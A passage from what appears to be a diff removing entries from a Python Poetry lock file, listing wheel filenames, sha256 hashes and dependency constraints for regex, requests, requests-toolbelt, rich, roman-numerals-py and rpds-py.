"sha256:baf2fe122a3db1c0b9f161aa44463d8f7e33eeeda47bb0309923deb743a18276"}, - {file = "regex-2025.7.34-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1a764a83128af9c1a54be81485b34dca488cbcacefe1e1d543ef11fbace191e1"}, - {file = "regex-2025.7.34-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:c7f663ccc4093877f55b51477522abd7299a14c5bb7626c5238599db6a0cb95d"}, - {file = "regex-2025.7.34-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:4913f52fbc7a744aaebf53acd8d3dc1b519e46ba481d4d7596de3c862e011ada"}, - {file = "regex-2025.7.34-cp39-cp39-musllinux_1_2_ppc64le.whl", hash = "sha256:efac4db9e044d47fd3b6b0d40b6708f4dfa2d8131a5ac1d604064147c0f552fd"}, - {file = "regex-2025.7.34-cp39-cp39-musllinux_1_2_s390x.whl", hash = "sha256:7373afae7cfb716e3b8e15d0184510d518f9d21471f2d62918dbece85f2c588f"}, - {file = "regex-2025.7.34-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:9960d162f3fecf6af252534a1ae337e9c2e20d74469fed782903b24e2cc9d3d7"}, - {file = "regex-2025.7.34-cp39-cp39-win32.whl", hash = "sha256:95d538b10eb4621350a54bf14600cc80b514211d91a019dc74b8e23d2159ace5"}, - {file = "regex-2025.7.34-cp39-cp39-win_amd64.whl", hash = "sha256:f7f3071b5faa605b0ea51ec4bb3ea7257277446b053f4fd3ad02b1dcb4e64353"}, - {file = "regex-2025.7.34-cp39-cp39-win_arm64.whl", hash = "sha256:716a47515ba1d03f8e8a61c5013041c8c90f2e21f055203498105d7571b44531"}, - {file = "regex-2025.7.34.tar.gz", hash = "sha256:9ead9765217afd04a86822dfcd4ed2747dfe426e887da413b15ff0ac2457e21a"}, -] - -[[package]] -name = "requests" -version = "2.32.4" -description = "Python HTTP for Humans." -optional = false -python-versions = ">=3.8" -groups = ["main"] -files = [ - {file = "requests-2.32.4-py3-none-any.whl", hash = "sha256:27babd3cda2a6d50b30443204ee89830707d396671944c998b5975b031ac2b2c"}, - {file = "requests-2.32.4.tar.gz", hash = "sha256:27d0316682c8a29834d3264820024b62a36942083d52caf2f14c0591336d3422"}, -] - -[package.dependencies] -certifi = ">=2017.4.17" -charset_normalizer = ">=2,<4" -idna = ">=2.5,<4" -urllib3 = ">=1.21.1,<3" - -[package.extras] -socks = ["PySocks (>=1.5.6,!=1.5.7)"] -use-chardet-on-py3 = ["chardet (>=3.0.2,<6)"] - -[[package]] -name = "requests-toolbelt" -version = "1.0.0" -description = "A utility belt for advanced users of python-requests" -optional = false -python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*" -groups = ["main"] -files = [ - {file = "requests-toolbelt-1.0.0.tar.gz", hash = "sha256:7681a0a3d047012b5bdc0ee37d7f8f07ebe76ab08caeccfc3921ce23c88d5bc6"}, - {file = "requests_toolbelt-1.0.0-py2.py3-none-any.whl", hash = "sha256:cccfdd665f0a24fcf4726e690f65639d272bb0637b9b92dfd91a5568ccf6bd06"}, -] - -[package.dependencies] -requests = ">=2.0.1,<3.0.0" - -[[package]] -name = "rich" -version = "13.7.1" -description = "Render rich text, tables, progress bars, syntax highlighting, markdown and more to the terminal" -optional = false -python-versions = ">=3.7.0" -groups = ["main", "dev"] -files = [ - {file = "rich-13.7.1-py3-none-any.whl", hash = "sha256:4edbae314f59eb482f54e9e30bf00d33350aaa94f4bfcd4e9e3110e64d0d7222"}, - {file = "rich-13.7.1.tar.gz", hash = "sha256:9be308cb1fe2f1f57d67ce99e95af38a1e2bc71ad9813b0e247cf7ffbcc3a432"}, -] - -[package.dependencies] -markdown-it-py = ">=2.2.0" -pygments = ">=2.13.0,<3.0.0" - -[package.extras] -jupyter = ["ipywidgets (>=7.5.1,<9)"] - -[[package]] -name = "roman-numerals-py" -version = "3.1.0" -description = "Manipulate well-formed Roman numerals" -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "roman_numerals_py-3.1.0-py3-none-any.whl", hash = "sha256:9da2ad2fb670bcf24e81070ceb3be72f6c11c440d73bd579fbeca1e9f330954c"}, - {file = "roman_numerals_py-3.1.0.tar.gz", hash = "sha256:be4bf804f083a4ce001b5eb7e3c0862479d10f94c936f6c4e5f250aa5ff5bd2d"}, -] - -[package.extras] -lint = ["mypy (==1.15.0)", "pyright (==1.1.394)", "ruff (==0.9.7)"] -test = ["pytest (>=8)"] - -[[package]] -name = "rpds-py" -version = "0.27.0" -description = "Python bindings to Rust's persistent data structures (rpds)" -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "rpds_py-0.27.0-cp310-cp310-macosx_10_12_x86_64.whl", hash = "sha256:130c1ffa5039a333f5926b09e346ab335f0d4ec393b030a18549a7c7e7c2cea4"}, - {file = "rpds_py-0.27.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:a4cf32a26fa744101b67bfd28c55d992cd19438aff611a46cac7f066afca8fd4"}, - {file = "rpds_py-0.27.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:64a0fe3f334a40b989812de70160de6b0ec7e3c9e4a04c0bbc48d97c5d3600ae"}, - {file = "rpds_py-0.27.0-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:9a0ff7ee28583ab30a52f371b40f54e7138c52ca67f8ca17ccb7ccf0b383cb5f"}, - {file = "rpds_py-0.27.0-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:15ea4d2e182345dd1b4286593601d766411b43f868924afe297570658c31a62b"}, - {file = "rpds_py-0.27.0-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:36184b44bf60a480863e51021c26aca3dfe8dd2f5eeabb33622b132b9d8b8b54"}, - {file = "rpds_py-0.27.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9b78430703cfcf5f5e86eb74027a1ed03a93509273d7c705babb547f03e60016"}, - {file = "rpds_py-0.27.0-cp310-cp310-manylinux_2_31_riscv64.whl", hash = "sha256:dbd749cff1defbde270ca346b69b3baf5f1297213ef322254bf2a28537f0b046"}, - {file = "rpds_py-0.27.0-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:6bde37765564cd22a676dd8101b657839a1854cfaa9c382c5abf6ff7accfd4ae"}, - {file = "rpds_py-0.27.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:1d66f45b9399036e890fb9c04e9f70c33857fd8f58ac8db9f3278cfa835440c3"}, - {file = "rpds_py-0.27.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:d85d784c619370d9329bbd670f41ff5f2ae62ea4519761b679d0f57f0f0ee267"}, - {file = "rpds_py-0.27.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:5df559e9e7644d9042f626f2c3997b555f347d7a855a15f170b253f6c5bfe358"}, - {file = "rpds_py-0.27.0-cp310-cp310-win32.whl", hash = "sha256:b8a4131698b6992b2a56015f51646711ec5d893a0b314a4b985477868e240c87"}, - {file = "rpds_py-0.27.0-cp310-cp310-win_amd64.whl", hash = "sha256:cbc619e84a5e3ab2d452de831c88bdcad824414e9c2d28cd101f94dbdf26329c"}, - {file = "rpds_py-0.27.0-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:dbc2ab5d10544eb485baa76c63c501303b716a5c405ff2469a1d8ceffaabf622"}, - {file = "rpds_py-0.27.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:7ec85994f96a58cf7ed288caa344b7fe31fd1d503bdf13d7331ead5f70ab60d5"}, - {file = "rpds_py-0.27.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:190d7285cd3bb6d31d37a0534d7359c1ee191eb194c511c301f32a4afa5a1dd4"}, - {file = "rpds_py-0.27.0-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:c10d92fb6d7fd827e44055fcd932ad93dac6a11e832d51534d77b97d1d85400f"}, - {file = "rpds_py-0.27.0-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:dd2c1d27ebfe6a015cfa2005b7fe8c52d5019f7bbdd801bc6f7499aab9ae739e"}, - {file = "rpds_py-0.27.0-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:4790c9d5dd565ddb3e9f656092f57268951398cef52e364c405ed3112dc7c7c1"}, - {file = "rpds_py-0.27.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4300e15e7d03660f04be84a125d1bdd0e6b2f674bc0723bc0fd0122f1a4585dc"}, - {file = "rpds_py-0.27.0-cp311-cp311-manylinux_2_31_riscv64.whl", hash = "sha256:59195dc244fc183209cf8a93406889cadde47dfd2f0a6b137783aa9c56d67c85"}, - {file = "rpds_py-0.27.0-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:fae4a01ef8c4cb2bbe92ef2063149596907dc4a881a8d26743b3f6b304713171"}, - {file = "rpds_py-0.27.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:e3dc8d4ede2dbae6c0fc2b6c958bf51ce9fd7e9b40c0f5b8835c3fde44f5807d"}, - {file = "rpds_py-0.27.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:c3782fb753aa825b4ccabc04292e07897e2fd941448eabf666856c5530277626"}, - {file = "rpds_py-0.27.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:887ab1f12b0d227e9260558a4a2320024b20102207ada65c43e1ffc4546df72e"}, - {file = "rpds_py-0.27.0-cp311-cp311-win32.whl", hash = "sha256:5d6790ff400254137b81b8053b34417e2c46921e302d655181d55ea46df58cf7"}, - {file = "rpds_py-0.27.0-cp311-cp311-win_amd64.whl", hash = "sha256:e24d8031a2c62f34853756d9208eeafa6b940a1efcbfe36e8f57d99d52bb7261"}, - {file = "rpds_py-0.27.0-cp311-cp311-win_arm64.whl", hash = "sha256:08680820d23df1df0a0260f714d12966bc6c42d02e8055a91d61e03f0c47dda0"}, - {file = "rpds_py-0.27.0-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:19c990fdf5acecbf0623e906ae2e09ce1c58947197f9bced6bbd7482662231c4"}, - {file = "rpds_py-0.27.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:6c27a7054b5224710fcfb1a626ec3ff4f28bcb89b899148c72873b18210e446b"}, - {file = "rpds_py-0.27.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:09965b314091829b378b60607022048953e25f0b396c2b70e7c4c81bcecf932e"}, - {file = "rpds_py-0.27.0-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:14f028eb47f59e9169bfdf9f7ceafd29dd64902141840633683d0bad5b04ff34"}, - {file = "rpds_py-0.27.0-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:6168af0be75bba990a39f9431cdfae5f0ad501f4af32ae62e8856307200517b8"}, - {file = "rpds_py-0.27.0-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:ab47fe727c13c09d0e6f508e3a49e545008e23bf762a245b020391b621f5b726"}, - {file = "rpds_py-0.27.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5fa01b3d5e3b7d97efab65bd3d88f164e289ec323a8c033c5c38e53ee25c007e"}, - {file = "rpds_py-0.27.0-cp312-cp312-manylinux_2_31_riscv64.whl", hash = "sha256:6c135708e987f46053e0a1246a206f53717f9fadfba27174a9769ad4befba5c3"}, - {file = "rpds_py-0.27.0-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:fc327f4497b7087d06204235199daf208fd01c82d80465dc5efa4ec9df1c5b4e"}, - {file = "rpds_py-0.27.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:7e57906e38583a2cba67046a09c2637e23297618dc1f3caddbc493f2be97c93f"}, - {file = "rpds_py-0.27.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:0f4f69d7a4300fbf91efb1fb4916421bd57804c01ab938ab50ac9c4aa2212f03"}, - {file = "rpds_py-0.27.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:b4c4fbbcff474e1e5f38be1bf04511c03d492d42eec0babda5d03af3b5589374"}, - {file = "rpds_py-0.27.0-cp312-cp312-win32.whl", hash = "sha256:27bac29bbbf39601b2aab474daf99dbc8e7176ca3389237a23944b17f8913d97"}, - {file = "rpds_py-0.27.0-cp312-cp312-win_amd64.whl", hash = "sha256:8a06aa1197ec0281eb1d7daf6073e199eb832fe591ffa329b88bae28f25f5fe5"}, - {file = "rpds_py-0.27.0-cp312-cp312-win_arm64.whl", hash = "sha256:e14aab02258cb776a108107bd15f5b5e4a1bbaa61ef33b36693dfab6f89d54f9"}, - {file = "rpds_py-0.27.0-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:443d239d02d9ae55b74015234f2cd8eb09e59fbba30bf60baeb3123ad4c6d5ff"}, - {file = "rpds_py-0.27.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:b8a7acf04fda1f30f1007f3cc96d29d8cf0a53e626e4e1655fdf4eabc082d367"}, - {file = "rpds_py-0.27.0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9d0f92b78cfc3b74a42239fdd8c1266f4715b573204c234d2f9fc3fc7a24f185"}, - {file = "rpds_py-0.27.0-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:ce4ed8e0c7dbc5b19352b9c2c6131dd23b95fa8698b5cdd076307a33626b72dc"}, - {file = "rpds_py-0.27.0-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:fde355b02934cc6b07200cc3b27ab0c15870a757d1a72fd401aa92e2ea3c6bfe"}, - {file = "rpds_py-0.27.0-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:13bbc4846ae4c993f07c93feb21a24d8ec637573d567a924b1001e81c8ae80f9"}, - {file = "rpds_py-0.27.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:be0744661afbc4099fef7f4e604e7f1ea1be1dd7284f357924af12a705cc7d5c"}, - {file = "rpds_py-0.27.0-cp313-cp313-manylinux_2_31_riscv64.whl", hash = "sha256:069e0384a54f427bd65d7fda83b68a90606a3835901aaff42185fcd94f5a9295"}, - {file = "rpds_py-0.27.0-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:4bc262ace5a1a7dc3e2eac2fa97b8257ae795389f688b5adf22c5db1e2431c43"}, - {file = "rpds_py-0.27.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:2fe6e18e5c8581f0361b35ae575043c7029d0a92cb3429e6e596c2cdde251432"}, - {file = "rpds_py-0.27.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:d93ebdb82363d2e7bec64eecdc3632b59e84bd270d74fe5be1659f7787052f9b"}, - {file = "rpds_py-0.27.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:0954e3a92e1d62e83a54ea7b3fdc9efa5d61acef8488a8a3d31fdafbfb00460d"}, - {file = "rpds_py-0.27.0-cp313-cp313-win32.whl", hash = "sha256:2cff9bdd6c7b906cc562a505c04a57d92e82d37200027e8d362518df427f96cd"}, - {file = "rpds_py-0.27.0-cp313-cp313-win_amd64.whl", hash = "sha256:dc79d192fb76fc0c84f2c58672c17bbbc383fd26c3cdc29daae16ce3d927e8b2"}, - {file = "rpds_py-0.27.0-cp313-cp313-win_arm64.whl", hash = "sha256:5b3a5c8089eed498a3af23ce87a80805ff98f6ef8f7bdb70bd1b7dae5105f6ac"}, - {file = "rpds_py-0.27.0-cp313-cp313t-macosx_10_12_x86_64.whl", hash = "sha256:90fb790138c1a89a2e58c9282fe1089638401f2f3b8dddd758499041bc6e0774"}, - {file = "rpds_py-0.27.0-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:010c4843a3b92b54373e3d2291a7447d6c3fc29f591772cc2ea0e9f5c1da434b"}, - {file = "rpds_py-0.27.0-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c9ce7a9e967afc0a2af7caa0d15a3e9c1054815f73d6a8cb9225b61921b419bd"}, - {file = "rpds_py-0.27.0-cp313-cp313t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:aa0bf113d15e8abdfee92aa4db86761b709a09954083afcb5bf0f952d6065fdb"}, - {file = "rpds_py-0.27.0-cp313-cp313t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:eb91d252b35004a84670dfeafadb042528b19842a0080d8b53e5ec1128e8f433"}, - {file = "rpds_py-0.27.0-cp313-cp313t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:db8a6313dbac934193fc17fe7610f70cd8181c542a91382531bef5ed785e5615"}, - {file = "rpds_py-0.27.0-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ce96ab0bdfcef1b8c371ada2100767ace6804ea35aacce0aef3aeb4f3f499ca8"}, - {file = "rpds_py-0.27.0-cp313-cp313t-manylinux_2_31_riscv64.whl", hash = "sha256:7451ede3560086abe1aa27dcdcf55cd15c96b56f543fb12e5826eee6f721f858"}, - {file = "rpds_py-0.27.0-cp313-cp313t-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:32196b5a99821476537b3f7732432d64d93a58d680a52c5e12a190ee0135d8b5"}, - {file = "rpds_py-0.27.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:a029be818059870664157194e46ce0e995082ac49926f1423c1f058534d2aaa9"}, - {file = "rpds_py-0.27.0-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:3841f66c1ffdc6cebce8aed64e36db71466f1dc23c0d9a5592e2a782a3042c79"}, - {file = "rpds_py-0.27.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:42894616da0fc0dcb2ec08a77896c3f56e9cb2f4b66acd76fc8992c3557ceb1c"}, - {file = "rpds_py-0.27.0-cp313-cp313t-win32.whl", hash = "sha256:b1fef1f13c842a39a03409e30ca0bf87b39a1e2a305a9924deadb75a43105d23"}, - {file = "rpds_py-0.27.0-cp313-cp313t-win_amd64.whl", hash = "sha256:183f5e221ba3e283cd36fdfbe311d95cd87699a083330b4f792543987167eff1"}, - {file = "rpds_py-0.27.0-cp314-cp314-macosx_10_12_x86_64.whl", hash = "sha256:f3cd110e02c5bf17d8fb562f6c9df5c20e73029d587cf8602a2da6c5ef1e32cb"}, - {file = "rpds_py-0.27.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:8d0e09cf4863c74106b5265c2c310f36146e2b445ff7b3018a56799f28f39f6f"}, - {file = "rpds_py-0.27.0-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:64f689ab822f9b5eb6dfc69893b4b9366db1d2420f7db1f6a2adf2a9ca15ad64"}, - {file = "rpds_py-0.27.0-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:e36c80c49853b3ffda7aa1831bf175c13356b210c73128c861f3aa93c3cc4015"}, - {file = "rpds_py-0.27.0-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:6de6a7f622860af0146cb9ee148682ff4d0cea0b8fd3ad51ce4d40efb2f061d0"}, - {file = "rpds_py-0.27.0-cp314-cp314-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:4045e2fc4b37ec4b48e8907a5819bdd3380708c139d7cc358f03a3653abedb89"}, - {file = "rpds_py-0.27.0-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9da162b718b12c4219eeeeb68a5b7552fbc7aadedf2efee440f88b9c0e54b45d"}, - {file = "rpds_py-0.27.0-cp314-cp314-manylinux_2_31_riscv64.whl", hash = "sha256:0665be515767dc727ffa5f74bd2ef60b0ff85dad6bb8f50d91eaa6b5fb226f51"}, - {file = "rpds_py-0.27.0-cp314-cp314-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:203f581accef67300a942e49a37d74c12ceeef4514874c7cede21b012613ca2c"}, - {file = "rpds_py-0.27.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:7873b65686a6471c0037139aa000d23fe94628e0daaa27b6e40607c90e3f5ec4"}, - {file = "rpds_py-0.27.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:249ab91ceaa6b41abc5f19513cb95b45c6f956f6b89f1fe3d99c81255a849f9e"}, - {file = "rpds_py-0.27.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:d2f184336bc1d6abfaaa1262ed42739c3789b1e3a65a29916a615307d22ffd2e"}, - {file = "rpds_py-0.27.0-cp314-cp314-win32.whl", hash = "sha256:d3c622c39f04d5751408f5b801ecb527e6e0a471b367f420a877f7a660d583f6"}, - {file = "rpds_py-0.27.0-cp314-cp314-win_amd64.whl", hash = "sha256:cf824aceaeffff029ccfba0da637d432ca71ab21f13e7f6f5179cd88ebc77a8a"}, - {file = "rpds_py-0.27.0-cp314-cp314-win_arm64.whl", hash = "sha256:86aca1616922b40d8ac1b3073a1ead4255a2f13405e5700c01f7c8d29a03972d"}, - {file = "rpds_py-0.27.0-cp314-cp314t-macosx_10_12_x86_64.whl", hash = "sha256:341d8acb6724c0c17bdf714319c393bb27f6d23d39bc74f94221b3e59fc31828"}, - {file = "rpds_py-0.27.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:6b96b0b784fe5fd03beffff2b1533dc0d85e92bab8d1b2c24ef3a5dc8fac5669"}, - {file = "rpds_py-0.27.0-cp314-cp314t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0c431bfb91478d7cbe368d0a699978050d3b112d7f1d440a41e90faa325557fd"}, - {file = "rpds_py-0.27.0-cp314-cp314t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:20e222a44ae9f507d0f2678ee3dd0c45ec1e930f6875d99b8459631c24058aec"}, - {file = "rpds_py-0.27.0-cp314-cp314t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:184f0d7b342967f6cda94a07d0e1fae177d11d0b8f17d73e06e36ac02889f303"}, - {file = "rpds_py-0.27.0-cp314-cp314t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a00c91104c173c9043bc46f7b30ee5e6d2f6b1149f11f545580f5d6fdff42c0b"}, - {file = "rpds_py-0.27.0-cp314-cp314t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f7a37dd208f0d658e0487522078b1ed68cd6bce20ef4b5a915d2809b9094b410"}, - {file = "rpds_py-0.27.0-cp314-cp314t-manylinux_2_31_riscv64.whl", hash = "sha256:92f3b3ec3e6008a1fe00b7c0946a170f161ac00645cde35e3c9a68c2475e8156"}, - {file = "rpds_py-0.27.0-cp314-cp314t-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:a1b3db5fae5cbce2131b7420a3f83553d4d89514c03d67804ced36161fe8b6b2"}, - {file = "rpds_py-0.27.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:5355527adaa713ab693cbce7c1e0ec71682f599f61b128cf19d07e5c13c9b1f1"}, - {file = "rpds_py-0.27.0-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:fcc01c57ce6e70b728af02b2401c5bc853a9e14eb07deda30624374f0aebfe42"}, - {file = "rpds_py-0.27.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:3001013dae10f806380ba739d40dee11db1ecb91684febb8406a87c2ded23dae"}, - {file = "rpds_py-0.27.0-cp314-cp314t-win32.whl", hash = "sha256:0f401c369186a5743694dd9fc08cba66cf70908757552e1f714bfc5219c655b5"}, - {file = "rpds_py-0.27.0-cp314-cp314t-win_amd64.whl", hash = "sha256:8a1dca5507fa1337f75dcd5070218b20bc68cf8844271c923c1b79dfcbc20391"}, - {file = "rpds_py-0.27.0-cp39-cp39-macosx_10_12_x86_64.whl", hash = "sha256:e0d7151a1bd5d0a203a5008fc4ae51a159a610cb82ab0a9b2c4d80241745582e"}, - {file = "rpds_py-0.27.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:42ccc57ff99166a55a59d8c7d14f1a357b7749f9ed3584df74053fd098243451"}, - {file = "rpds_py-0.27.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e377e4cf8795cdbdff75b8f0223d7b6c68ff4fef36799d88ccf3a995a91c0112"}, - {file = "rpds_py-0.27.0-cp39-cp39-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:79af163a4b40bbd8cfd7ca86ec8b54b81121d3b213b4435ea27d6568bcba3e9d"}, - {file = "rpds_py-0.27.0-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:b2eff8ee57c5996b0d2a07c3601fb4ce5fbc37547344a26945dd9e5cbd1ed27a"}, - {file = "rpds_py-0.27.0-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:7cf9bc4508efb18d8dff6934b602324eb9f8c6644749627ce001d6f38a490889"}, - {file = "rpds_py-0.27.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:05284439ebe7d9f5f5a668d4d8a0a1d851d16f7d47c78e1fab968c8ad30cab04"}, - {file = "rpds_py-0.27.0-cp39-cp39-manylinux_2_31_riscv64.whl", hash = "sha256:1321bce595ad70e80f97f998db37356b2e22cf98094eba6fe91782e626da2f71"}, - {file = "rpds_py-0.27.0-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:737005088449ddd3b3df5a95476ee1c2c5c669f5c30eed909548a92939c0e12d"}, - {file = "rpds_py-0.27.0-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:9b2a4e17bfd68536c3b801800941c95a1d4a06e3cada11c146093ba939d9638d"}, - {file = "rpds_py-0.27.0-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:dc6b0d5a1ea0318ef2def2b6a55dccf1dcaf77d605672347271ed7b829860765"}, - {file = "rpds_py-0.27.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:4c3f8a0d4802df34fcdbeb3dfe3a4d8c9a530baea8fafdf80816fcaac5379d83"}, - {file = "rpds_py-0.27.0-cp39-cp39-win32.whl", hash = "sha256:699c346abc73993962cac7bb4f02f58e438840fa5458a048d3a178a7a670ba86"}, - {file = "rpds_py-0.27.0-cp39-cp39-win_amd64.whl", hash = "sha256:be806e2961cd390a89d6c3ce8c2ae34271cfcd05660f716257838bb560f1c3b6"}, - {file = "rpds_py-0.27.0-pp310-pypy310_pp73-macosx_10_12_x86_64.whl", hash = "sha256:46f48482c1a4748ab2773f75fffbdd1951eb59794e32788834b945da857c47a8"}, - {file = "rpds_py-0.27.0-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:419dd9c98bcc9fb0242be89e0c6e922df333b975d4268faa90d58499fd9c9ebe"}, - {file = "rpds_py-0.27.0-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:55d42a0ef2bdf6bc81e1cc2d49d12460f63c6ae1423c4f4851b828e454ccf6f1"}, - {file = "rpds_py-0.27.0-pp310-pypy310_pp73-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:2e39169ac6aae06dd79c07c8a69d9da867cef6a6d7883a0186b46bb46ccfb0c3"}, - {file = "rpds_py-0.27.0-pp310-pypy310_pp73-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:935afcdea4751b0ac918047a2df3f720212892347767aea28f5b3bf7be4f27c0"}, - {file = "rpds_py-0.27.0-pp310-pypy310_pp73-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:8de567dec6d451649a781633d36f5c7501711adee329d76c095be2178855b042"}, - {file = "rpds_py-0.27.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:555ed147cbe8c8f76e72a4c6cd3b7b761cbf9987891b9448808148204aed74a5"}, - {file = "rpds_py-0.27.0-pp310-pypy310_pp73-manylinux_2_31_riscv64.whl", hash = "sha256:d2cc2b34f9e1d31ce255174da82902ad75bd7c0d88a33df54a77a22f2ef421ee"}, - {file = "rpds_py-0.27.0-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:cb0702c12983be3b2fab98ead349ac63a98216d28dda6f518f52da5498a27a1b"}, - {file = "rpds_py-0.27.0-pp310-pypy310_pp73-musllinux_1_2_aarch64.whl", hash = "sha256:ba783541be46f27c8faea5a6645e193943c17ea2f0ffe593639d906a327a9bcc"}, - {file = "rpds_py-0.27.0-pp310-pypy310_pp73-musllinux_1_2_i686.whl", hash = "sha256:2406d034635d1497c596c40c85f86ecf2bf9611c1df73d14078af8444fe48031"}, - {file = "rpds_py-0.27.0-pp310-pypy310_pp73-musllinux_1_2_x86_64.whl", hash = 